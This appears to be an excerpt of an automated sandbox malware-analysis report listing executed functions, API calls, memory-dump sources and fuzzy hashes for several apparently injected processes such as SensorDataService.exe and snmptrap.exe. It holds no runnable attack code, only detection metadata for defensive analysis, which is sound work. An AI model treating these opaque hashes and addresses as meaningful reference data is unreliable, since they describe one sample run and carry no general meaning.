Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 004C5B90
CreateThread.KERNELBASE ref: 004C5CDF

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: c046ac2f032d7e43114e27664372dfe95edad6a3083be5fdb60f270ffa2760d1
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: A9E0863460DB444FEB999B24582071E7EE5EB88310F1502CFC44AD72D5DB6D3E46478B

Function 004C599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 004C59D9

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: fbbd761bf2940dbdc0b6fca2688fa355d020a9a4ab31128d0d393044c036d54b
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 6501DFEC60DE80CFD6DAA6195401F7E2552A754324F2801DF904AC7292C87DB9C2978E

Function 004C8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 004C8186

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: b0a64aaf1dc272858245ba5fb60eab6aabc5c38a2e5de13ab2b36a37e8336e9e
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 06C08C7C13880A9657F80A480C0BFB226C49202350B0E000F8C0280320DD0C8E03009F

Function 004C817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 004C8186

Memory Dump Source

Source File: 00000018.00000002.2615968689.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4c0000_Locator.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: c2195d8f4d9cdb0b84694d99ec59b186e115fcaf9154792078a8137cc9650252
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: A3C092BC5A850D8756F82B882C0AEB335D85613760F0E541FED069A362DD5C4D4345AF

Analysis Process: SensorDataService.exePID: 4324, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	5

Executed Functions

Function 006C52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 006C53C4

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 92474f1bab98151f070f3345188d067c281996d052150673fbd02a1fe766ff72
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 7A41C36140DED58FD72A52244C64FF17BD2DB113A2F9941DED08B8A2E2F2987CC29366

Function 006E0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 006E03E0

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: 964871887158013ab79fee44d01a42069770e3d4cd09d32f7118cc0283a30f3b
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: 45D13931419F4D8FE724EF59D8457EAB3E2FBA0310F18461FD446C7264DAB4DA858AC2

Function 006C8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: 1a34cee51a62ef21c94e848b2a1f727d4d714d0e9aa3c9a0d789ffad9fc56f74
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: C561563061CA869FC7B58B288818FB57BE3FB56350F18021ED44BC37A1CF285D469792

Function 006C5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 86c1450bf9c094e939ee8eec5e23809b64b88c736191d204eb99341fd68d81ef
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 01F10431B1DF888FC6A9971E58417BA73D3EB99310F58429EE04BC7396DD34AC468386

Function 006C5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 3d2cebb7c0d168c541da3dd5d091b452438fd1b916f7c159ca3e226af60e1c14
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: A621713020CF458FDB6997188C58FB56AE3EB55310F5801AE9047CE3A2DA64FDC5935A

Function 006C5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 0b0b9479335af27caca946bf01d7751888e59105f6a3e5b1b8ba86de97b7179c
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: E201C07010DF868FDB5557248C68FB97BA3EF50324F6401AFC487CA191DA607DC2A716

Function 006C5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 006C5B90
CreateThread.KERNELBASE ref: 006C5CDF

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: f714f0bff0071792a068c944bc3adf3a019ac97169718de72cb29d8ad58a7a48
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 94E0863061DB444FDB599B245C607397EE6EB88310F1502CEC44BDB2D1CB696D464792

Function 006C599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 006C59D9

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: b3a962a8b7e862f9cac5a3f9d7eb11fc595139cb5479a988dc9cc437559771f0
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 3D01F26090DFC0CFD75A97594C41BF92553FB54320F2801DE904FCB292C834B9C29746

Function 006C8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 006C8186

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 8aa031aa052b0f8354f5fef07018c515b64e9bb26d369a13bcc651876de42c0c
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 2AC08C601388039E57380A480C0BFF026C2C212350B0E080F8C06C3B20DD08CE030097

Function 006C817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 006C8186

Memory Dump Source

Source File: 00000019.00000002.1539918997.00000000006C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_6c0000_SensorDataService.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: da1ae90f64f2d25c0e5ac9297a1310dd3bcbd9228667d4bd2c02df44878d6c7c
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 9BC092A05A850B8F56382A882C0AEF135D6C623760F0E581FED0A8BB60DD5C8D4341A3

Analysis Process: snmptrap.exePID: 4856, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	5

Executed Functions

Function 006852A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 006853C4

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 320e0fdfc968efa23e5be2b3f6b80565402518b64dff1efe15403fcea4b02cd8
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 8D41E95140DE958FD726732444643F07BD39B123E2F9D07D7D4878B2E2F6984C829766

Function 006A0080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 006A03E0

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: 38bb56dd8485a74b2a25a2004df6af95478c3628df74100b2d2887c7261a8c9e
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: 34D12531418F098BEB28FF58C8457EAB3D2FBA6310F18461ED846C3265DA749E458FC2

Function 00688070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: 030a5516834299ee81e592e426dae8791d000cd9c435e54719a104eec0e8819c
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: BE61373050CA469FC7A5BB2888283B57BA3FB55350FD8075AD487C33A1DF249D46D792

Function 00685910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 56bdeba851ba3a21138203637d9d4f9af3ef930e716e3422f7c2fadb824d2547
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 5BF1182171CE488FCBA9B71C58513F977D3EB9A320F68429EE04BC7396DD249C068796

Function 00685B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 1fd5878486fb9e6e91deb5e64a1163d8b2e14381cbe0aa5dc5c64701a2606556
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 0A21923020CF45CFDBA9BB1884687F466D3EB65350F6803AE9447CF392DA24CC459B5A

Function 00685B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 4ca7e012354006eaf5cc8e6825add173e596265f5c419788c4e848a7ad3c712c
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: CA01927010DF468FDB6577248C683B97793EF64324F6503AFC887CA192EAA44906AB16

Function 00685B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00685B90
CreateThread.KERNELBASE ref: 00685CDF

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: 9016caab2514c1d3bcfc741047c355c523a8f89f00dfd73d6e48d6ff8ec712b5
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 76E0863060DF444FDB59BB24586032D3AE6EB98320F1503CEC44BD72D1CB690D064787

Function 0068599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 006859D9

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 7c789c739746c60fbe87f02a8b8f0c21a0b08524e0ea97ee06115b368d439fd1
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 0E01D66491DEC0CFDE9BBB1844912F96593BB58320F28479AD04BCB292C9244D029746

Function 00688090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00688186

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 6c84b53fbf283f7c39d21abd32c31861c16ad3fe1f97e0200abec32e2e2b4aa9
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 94C08C641A88039E527836480C0F0F42A428712350BCC06068CC2C3324DD088E030397

Function 0068817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00688186

Memory Dump Source

Source File: 0000001A.00000002.2621234035.0000000000680000.00000040.00001000.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_680000_snmptrap.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 23297f8138182d695c908156df56553f15caa64d223fc8a144344585e912866a
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: FCC092A859850B8F51783A882C0E0F639924B23760F8C5B13EC868B368DD584D4343A2

Analysis Process: Spectrum.exePID: 1912, Parent PID: 624COMMON

Executed Functions

Function 005252A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 005253C4

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: fff7476c3727668997f0e9f14ca2ab18c86821a0c6a8338a31622065cb3f611d
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 8441D75641DEB58FDB2A9A2474643707F90BF333E2F9D1CD6D482860E2F1B84C419366

Function 00540080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 005403E0

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction ID: 214ace1ddad264c1954cf69d19e3ef3e3a612aa453908a0fb0cd634a24e03c58
Opcode Fuzzy Hash: a53a589e1d79c8daebd35e0be32d5c07406a5a25e6b1b8ac5d66ad9906a0b4eb
Instruction Fuzzy Hash: 1AD1283141CB098BCB24EF58DC497EA7BE1FB90314F685A1FD946C31A4DA74D645CAC2

Function 00528070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction ID: b6ca5f02ec97878bb52d4a87904fa320af6e47dcd37845dae38d154dbc967e81
Opcode Fuzzy Hash: 4e190fe7d4b3c5e57d75e6528bbdfe52906c1a61a35aefbd00297ac479a6f7d8
Instruction Fuzzy Hash: C7610D3450FA75CFD7698BE8B8182367EA0FFA7350F680A5AE406C21E0DF249C59C752

Function 00525910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 9fef74b2d6fa605f30df5ddcdd88bd5c5045b4edef9dbe4ba62fe8769f5600f5
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 56F1463071CF594FC669972C685A2BA7FD2FBCA314F58459AE04AC32D6DD249C46C382

Function 00525B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: d49ff784e9a27906dac7de33df3fd33538e6e3826bd86f4445e3696d44613eab
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: A221D33020CF658FCB6A9718B4887742ED1BF57321F6809A69047DF1D6FA34CD489711

Function 00525B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 0c23bd7930113c9058c7f677152db281cdb8a3d62256f3f5166fd4a16a9553f9
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: A801803010DF668FDB565624BC193796F90BF53324F6509AB8487DA0D5FA744E04AB12

Function 00525B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00525B90
CreateThread.KERNELBASE ref: 00525CDF

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: ffd33f2b362b5ea4308fb9a0ee530e3bcd425b72b1802e46fc75f5c3726f9b27
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: F5E0863060DB544FDB599B2468203193EE5FF8A310F1545CFC44BDB1D1EB790D064782

Function 0052599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 005259D9

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_520000_Spectrum.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 92b4fc71c567c351ca86156f3356b7e9d51313220636477fce29801361cc4a8b
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 4201267090EEB0CFD61AA728744A2792D51BF97335F684956904BC70D2FA344D84D341

Function 00528090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00528186

Memory Dump Source

Source File: 0000001B.00000002.2615183440.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

